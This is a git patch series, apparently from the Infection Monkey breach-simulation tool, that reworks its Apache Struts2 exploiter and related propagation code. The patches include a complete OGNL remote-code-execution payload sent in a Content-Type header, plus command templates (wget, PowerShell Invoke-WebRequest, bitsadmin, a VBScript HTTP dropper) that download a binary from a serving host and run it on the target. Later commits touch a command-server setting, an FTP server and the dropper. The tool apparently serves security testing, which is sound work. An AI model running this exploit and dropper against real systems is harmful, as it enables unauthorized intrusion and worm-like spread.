self.host.os['type']: @@ -87,7 +84,7 @@ class Struts2Exploiter(HostExploiter): if url and host_arch: LOG.info("Host is exploitable with struts2 RCE vulnerability") # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist and (self.check_remote_file(url, dropper_path)): + if self.skip_exist and self.check_remote_file(url, dropper_path): return True src_path = get_target_monkey(self.host) @@ -194,6 +191,7 @@ class Struts2Exploiter(HostExploiter): try: return urllib2.urlopen(request).geturl() except urllib2.URLError: + LOG.error("Can't reach struts2 server") return False @staticmethod From 7ce790affa5cceaf2c2b1a7274e7163820297d82 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 22 Jun 2018 14:55:52 +0300 Subject: [PATCH 85/92] Some notes fixed --- infection_monkey/exploit/struts2.py | 100 +++++++++++++++------------- infection_monkey/model/__init__.py | 10 +++ 2 files changed, 63 insertions(+), 47 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 6ed5a51ef..bec717028 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -8,31 +8,19 @@ import httplib import unicodedata import re -from network.tools import check_tcp_ports import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools +from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, DROPPER_ARG __author__ = "VakarisZ" LOG = logging.getLogger(__name__) -ID_STRING = "M0NK3YSTRUTS2" -MONKEY_ARG = "m0nk3y" -# Commands used for downloading monkeys -POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) -WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) -# Commands used to check for architecture -CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "echo %s && lscpu" % ID_STRING -# Commands used to check if monkeys already exists -EXISTS = "ls %s" +DOWNLOAD_TIMEOUT = 300 -WEB_PORTS = [80, 443, 8080] -DOWNLOAD_TIMEOUT = 30 -# In seconds. This is set so that we don't have to wait for monkeys' output. -RESPONSE_TIMEOUT = 1 +RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) class Struts2Exploiter(HostExploiter): @@ -42,23 +30,24 @@ class Struts2Exploiter(HostExploiter): super(Struts2Exploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist + self.HTTP = [str(port) for port in self._config.HTTP_PORTS] def exploit_host(self): - # Initializing vars for convenience - ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) dropper_path_linux = self._config.dropper_target_path_linux dropper_path_win_32 = self._config.dropper_target_path_win_32 dropper_path_win_64 = self._config.dropper_target_path_win_64 + ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) + if not ports: LOG.info("All web ports are closed on %r, skipping", self.host) return False for port in ports: - if port == 443: - current_host = "https://%s:%d" % (self.host.ip_addr, port) + if port[1]: + current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) else: - current_host = "http://%s:%d" % (self.host.ip_addr, port) + current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) # Get full URL url = self.get_redirected(current_host) LOG.info("Trying to exploit with struts2") @@ -103,7 +92,7 @@ class Struts2Exploiter(HostExploiter): command = WGET_HTTP % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} - self.exploit(url, command, RESPONSE_TIMEOUT) + self.exploit(url, command) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -127,7 +116,7 @@ class Struts2Exploiter(HostExploiter): # If monkey already exists and option not to exploit in that case is selected if self.skip_exist: for dropper_path in dropper_paths: - if self.check_remote_file(url, dropper_path): + if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): return True src_path = get_target_monkey(self.host) @@ -151,7 +140,13 @@ class Struts2Exploiter(HostExploiter): command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} - self.exploit(url, command, RESPONSE_TIMEOUT) + backup_command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline} + + resp = self.exploit(url, command) + + if 'powershell is not recognized' in resp: + self.exploit(url, backup_command) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -195,33 +190,31 @@ class Struts2Exploiter(HostExploiter): return False @staticmethod - def exploit(url, cmd, timeout=None): + def exploit(url, cmd): """ :param url: Full url to send request to :param cmd: Code to try and execute on host - :param timeout: How long to wait for response in seconds(if monkey is being executed - it's better not to wait it's whole output). By default we wait. :return: response """ page = "" - payload = "%{(#_='multipart/form-data')." - payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." - payload += "(#_memberAccess?" - payload += "(#_memberAccess=#dm):" - payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." - payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." - payload += "(#ognlUtil.getExcludedPackageNames().clear())." - payload += "(#ognlUtil.getExcludedClasses().clear())." - payload += "(#context.setMemberAccess(#dm))))." - payload += "(#cmd='%s')." % cmd - payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." - payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." - payload += "(#p=new java.lang.ProcessBuilder(#cmds))." - payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." - payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." - payload += "(#ros.flush())}" + payload = "%%{(#_='multipart/form-data')." \ + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ + "(#_memberAccess?" \ + "(#_memberAccess=#dm):" \ + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ + "(#ognlUtil.getExcludedPackageNames().clear())." \ + "(#ognlUtil.getExcludedClasses().clear())." \ + "(#context.setMemberAccess(#dm))))." \ + "(#cmd='%s')." \ + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \ + "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ + "(#p=new java.lang.ProcessBuilder(#cmds))." \ + "(#p.redirectErrorStream(true)).(#process=#p.start())." \ + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ + "(#ros.flush())}" % cmd # Turns payload ascii just for consistency if isinstance(payload, unicode): payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') @@ -229,13 +222,26 @@ class Struts2Exploiter(HostExploiter): try: request = urllib2.Request(url, headers=headers) # Timeout added or else we would wait for all monkeys' output - page = urllib2.urlopen(request, timeout=timeout).read() + page = urllib2.urlopen(request).read() except AttributeError: # If url does not exist return False - except httplib.IncompleteRead, e: + except httplib.IncompleteRead as e: page = e.partial - except Exception: - LOG.info("Request timed out, because monkey is still running on remote host") return page + + @staticmethod + def get_exploitable_ports(host, port_list, names): + candidate_services = {} + for name in names: + chosen_services = { + service: host.services[service] for service in host.services if + ('name' in host.services[service]) and (host.services[service]['name'] == name) + } + candidate_services.update(chosen_services) + + valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if + 'tcp-' + str(port) in candidate_services] + + return valid_ports diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 1296570e1..24fbf900e 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -4,6 +4,7 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" +ID_STRING = "M0NK3Y3XPL0ITABLE" DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) @@ -14,3 +15,12 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' + +# Commands used for downloading monkeys +POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) +WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) +# Commands used to check for architecture and if machine is exploitable +CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "echo %s && lscpu" % ID_STRING +# Commands used to check if monkeys already exists +EXISTS = "ls %s" \ No newline at end of file From 671452243d9b36a663c6b50cfe39d6c9600dfcc6 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Mon, 25 Jun 2018 18:26:34 +0300 Subject: [PATCH 86/92] Fixed some bugs and more notes --- infection_monkey/exploit/struts2.py | 17 +++++++---------- infection_monkey/model/__init__.py | 3 +++ 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index bec717028..409a7f1ef 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -12,7 +12,7 @@ import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools -from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, DROPPER_ARG +from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP_BITS_DROPPER __author__ = "VakarisZ" @@ -20,9 +20,6 @@ LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 -RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) - - class Struts2Exploiter(HostExploiter): _TARGET_OS_TYPE = ['linux', 'windows'] @@ -47,7 +44,8 @@ class Struts2Exploiter(HostExploiter): if port[1]: current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) else: - current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) + # TODO remove struts + current_host = "http://%s:%s/struts" % (self.host.ip_addr, port[0]) # Get full URL url = self.get_redirected(current_host) LOG.info("Trying to exploit with struts2") @@ -87,7 +85,7 @@ class Struts2Exploiter(HostExploiter): return False LOG.info("Started http server on %s", http_path) - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) command = WGET_HTTP % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} @@ -135,12 +133,13 @@ class Struts2Exploiter(HostExploiter): return False LOG.info("Started http server on %s", http_path) - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + # We need to double escape backslashes. Once for payload, twice for command + cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} - backup_command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + backup_command = RDP_CMDLINE_HTTP_BITS_DROPPER % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} resp = self.exploit(url, command) @@ -196,8 +195,6 @@ class Struts2Exploiter(HostExploiter): :param cmd: Code to try and execute on host :return: response """ - page = "" - payload = "%%{(#_='multipart/form-data')." \ "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ "(#_memberAccess?" \ diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 24fbf900e..4f0b22b27 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -19,8 +19,11 @@ DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del # Commands used for downloading monkeys POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) +RDP_CMDLINE_HTTP_BITS_DROPPER = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) + # Commands used to check for architecture and if machine is exploitable CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING CHECK_LINUX = "echo %s && lscpu" % ID_STRING + # Commands used to check if monkeys already exists EXISTS = "ls %s" \ No newline at end of file From 6a37f2b95362d2cd57894fe3f818b27c246b2358 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Mon, 25 Jun 2018 19:11:58 +0300 Subject: [PATCH 87/92] removed debugging code --- infection_monkey/exploit/struts2.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 409a7f1ef..26322c10d 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -44,8 +44,7 @@ class Struts2Exploiter(HostExploiter): if port[1]: current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) else: - # TODO remove struts - current_host = "http://%s:%s/struts" % (self.host.ip_addr, port[0]) + current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) # Get full URL url = self.get_redirected(current_host) LOG.info("Trying to exploit with struts2") From c278b0a29c7ce0c27a7a88c70fc6240ccd654851 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 26 Jun 2018 18:03:31 +0300 Subject: [PATCH 88/92] Small changes --- infection_monkey/exploit/struts2.py | 9 ++++++--- infection_monkey/model/__init__.py | 2 +- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 26322c10d..3a08d0487 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -12,7 +12,8 @@ import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools -from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP_BITS_DROPPER +from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \ + DROPPER_ARG __author__ = "VakarisZ" @@ -71,6 +72,7 @@ class Struts2Exploiter(HostExploiter): LOG.info("Host is exploitable with struts2 RCE vulnerability") # If monkey already exists and option not to exploit in that case is selected if self.skip_exist and self.check_remote_file(url, dropper_path): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True src_path = get_target_monkey(self.host) @@ -114,6 +116,7 @@ class Struts2Exploiter(HostExploiter): if self.skip_exist: for dropper_path in dropper_paths: if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True src_path = get_target_monkey(self.host) @@ -138,8 +141,8 @@ class Struts2Exploiter(HostExploiter): command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} - backup_command = RDP_CMDLINE_HTTP_BITS_DROPPER % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline} + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} resp = self.exploit(url, command) diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 4f0b22b27..a2a1e18bb 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -19,7 +19,7 @@ DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del # Commands used for downloading monkeys POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) -RDP_CMDLINE_HTTP_BITS_DROPPER = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' # Commands used to check for architecture and if machine is exploitable CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING From 35b535f97a63f477473567aaa6f49fc61e8fcc89 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 8 Jul 2018 12:14:25 +0300 Subject: [PATCH 89/92] Removed hard coded debug address and replaced with non routable IP --- infection_monkey/config.py | 2 +- infection_monkey/example.conf | 4 ++-- monkey_island/cc/services/config.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 41ecd1d91..4687237b8 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -163,7 +163,7 @@ class Configuration(object): # Configuration servers to try to connect to, in this order. command_servers = [ - "41.50.73.31:5000" + "192.0.2.0:5000" ] # sets whether or not to locally save the running configuration after finishing diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6e8638742..5d217ce70 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -1,6 +1,6 @@ { "command_servers": [ - "41.50.73.31:5000" + "192.0.2.0:5000" ], "internet_services": [ "monkey.guardicore.com", @@ -11,7 +11,7 @@ "" ], "blocked_ips": [""], - "current_server": "41.50.73.31:5000", + "current_server": "192.0.2.0:5000", "alive": true, "collect_system_info": true, "extract_azure_creds": true, diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index ebcf2a3ea..f67c45c7b 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -545,7 +545,7 @@ SCHEMA = { "type": "string" }, "default": [ - "41.50.73.31:5000" + "192.0.2.0:5000" ], "description": "List of command servers to try and communicate with (format is :)" }, @@ -567,7 +567,7 @@ SCHEMA = { "current_server": { "title": "Current server", "type": "string", - "default": "41.50.73.31:5000", + "default": "192.0.2.0:5000", "description": "The current command server the monkey is communicating with" } } From d853e02693134c3a756da91b813c2973a96d27e6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Jul 2018 13:08:08 +0300 Subject: [PATCH 90/92] Remove FTP server from infra New FTP server will come from pyftp --- infection_monkey/transport/__init__.py | 1 - infection_monkey/transport/ftp.py | 174 ------------------------- 2 files changed, 175 deletions(-) delete mode 100644 infection_monkey/transport/ftp.py diff --git a/infection_monkey/transport/__init__.py b/infection_monkey/transport/__init__.py index 651964fcb..14a0d68b2 100644 --- a/infection_monkey/transport/__init__.py +++ b/infection_monkey/transport/__init__.py @@ -1,4 +1,3 @@ -from ftp import FTPServer from http import HTTPServer __author__ = 'hoffer' diff --git a/infection_monkey/transport/ftp.py b/infection_monkey/transport/ftp.py deleted file mode 100644 index c90f8c484..000000000 --- a/infection_monkey/transport/ftp.py +++ /dev/null @@ -1,174 +0,0 @@ -import socket, threading, time -import StringIO - -__author__ = 'hoffer' - - -class FTPServer(threading.Thread): - def __init__(self, local_ip, local_port, files): - self.files=files - self.cwd='/' - self.mode='I' - self.rest=False - self.pasv_mode=False - self.local_ip = local_ip - self.local_port = local_port - threading.Thread.__init__(self) - - def run(self): - self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.sock.bind((self.local_ip,self.local_port)) - self.sock.listen(1) - - self.conn, self.addr = self.sock.accept() - - self.conn.send('220 Welcome!\r\n') - while True: - if 0 == len(self.files): - break - cmd=self.conn.recv(256) - if not cmd: break - else: - try: - func=getattr(self,cmd[:4].strip().upper()) - func(cmd) - except Exception as e: - self.conn.send('500 Sorry.\r\n') - break - - self.conn.close() - self.sock.close() - - def SYST(self,cmd): - self.conn.send('215 UNIX Type: L8\r\n') - def OPTS(self,cmd): - if cmd[5:-2].upper()=='UTF8 ON': - self.conn.send('200 OK.\r\n') - else: - self.conn.send('451 Sorry.\r\n') - def USER(self,cmd): - self.conn.send('331 OK.\r\n') - - def PASS(self,cmd): - self.conn.send('230 OK.\r\n') - - def QUIT(self,cmd): - self.conn.send('221 Goodbye.\r\n') - - def NOOP(self,cmd): - self.conn.send('200 OK.\r\n') - - def TYPE(self,cmd): - self.mode=cmd[5] - self.conn.send('200 Binary mode.\r\n') - - def CDUP(self,cmd): - self.conn.send('200 OK.\r\n') - - def PWD(self,cmd): - self.conn.send('257 \"%s\"\r\n' % self.cwd) - - def CWD(self,cmd): - self.conn.send('250 OK.\r\n') - - def PORT(self,cmd): - if self.pasv_mode: - self.servsock.close() - self.pasv_mode = False - l = cmd[5:].split(',') - self.dataAddr='.'.join(l[:4]) - self.dataPort=(int(l[4])<<8)+int(l[5]) - self.conn.send('200 Get port.\r\n') - - def PASV(self,cmd): - self.pasv_mode = True - self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.servsock.bind((self.local_ip,0)) - self.servsock.listen(1) - ip, port = self.servsock.getsockname() - self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' % - (','.join(ip.split('.')), port>>8&0xFF, port&0xFF)) - - def start_datasock(self): - if self.pasv_mode: - self.datasock, addr = self.servsock.accept() - else: - self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.datasock.connect((self.dataAddr,self.dataPort)) - - def stop_datasock(self): - self.datasock.close() - if self.pasv_mode: - self.servsock.close() - - def LIST(self,cmd): - self.conn.send('150 Here comes the directory listing.\r\n') - self.start_datasock() - for fn in self.files.keys(): - k=self.toListItem(fn) - self.datasock.send(k+'\r\n') - self.stop_datasock() - self.conn.send('226 Directory send OK.\r\n') - - def toListItem(self,fn): - fullmode='rwxrwxrwx' - mode = '' - d = '-' - ftime=time.strftime(' %b %d %H:%M ', time.gmtime()) - return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn - - def MKD(self,cmd): - self.conn.send('257 Directory created.\r\n') - - def RMD(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def DELE(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def SIZE(self,cmd): - self.conn.send('450 Not allowed.\r\n') - - def RNFR(self,cmd): - self.conn.send('350 Ready.\r\n') - - def RNTO(self,cmd): - self.conn.send('250 File renamed.\r\n') - - def REST(self,cmd): - self.pos=int(cmd[5:-2]) - self.rest=True - self.conn.send('250 File position reseted.\r\n') - - def RETR(self,cmd): - fn = cmd[5:-2] - if self.mode=='I': - fi=self.files[fn] - else: - fi=self.files[fn] - self.conn.send('150 Opening data connection.\r\n') - if self.rest: - fi.seek(self.pos) - self.rest=False - data= fi.read(1024) - self.start_datasock() - while data: - self.datasock.send(data) - data=fi.read(1024) - fi.close() - del self.files[fn] - self.stop_datasock() - self.conn.send('226 Transfer complete.\r\n') - - def STOR(self,cmd): - fn = cmd[5:-2] - fo = StringIO.StringIO() - self.conn.send('150 Opening data connection.\r\n') - self.start_datasock() - while True: - data=self.datasock.recv(1024) - if not data: break - fo.write(data) - fo.seek(0) - self.stop_datasock() - self.conn.send('226 Transfer complete.\r\n') From dfecc6d6aca0cf479952e23e2b0fbbc632ac553e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 18 Jul 2018 12:44:19 +0300 Subject: [PATCH 91/92] os.path.samefile does not work on windows. My code checks if files handlers are the same instead --- infection_monkey/dropper.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 6e63e5404..f60e8894a 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -56,7 +56,10 @@ class MonkeyDrops(object): return False # we copy/move only in case path is different - file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path']) + try: + file_moved = os.stat(self._config['source_path']) == os.stat(self._config['destination_path']) + except OSError: + file_moved = False if not file_moved and os.path.exists(self._config['destination_path']): os.remove(self._config['destination_path']) From d78e81db06d01d25e813b3a2e8a9ebc280852ce7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 18 Jul 2018 20:48:15 +0300 Subject: [PATCH 92/92] Changed to a better file comparison function --- infection_monkey/dropper.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index f60e8894a..c135dcddb 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -9,6 +9,7 @@ import sys import time from ctypes import c_char_p +import filecmp from config import WormConfiguration from exploit.tools import build_monkey_commandline_explicitly from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX @@ -57,7 +58,7 @@ class MonkeyDrops(object): # we copy/move only in case path is different try: - file_moved = os.stat(self._config['source_path']) == os.stat(self._config['destination_path']) + file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path']) except OSError: file_moved = False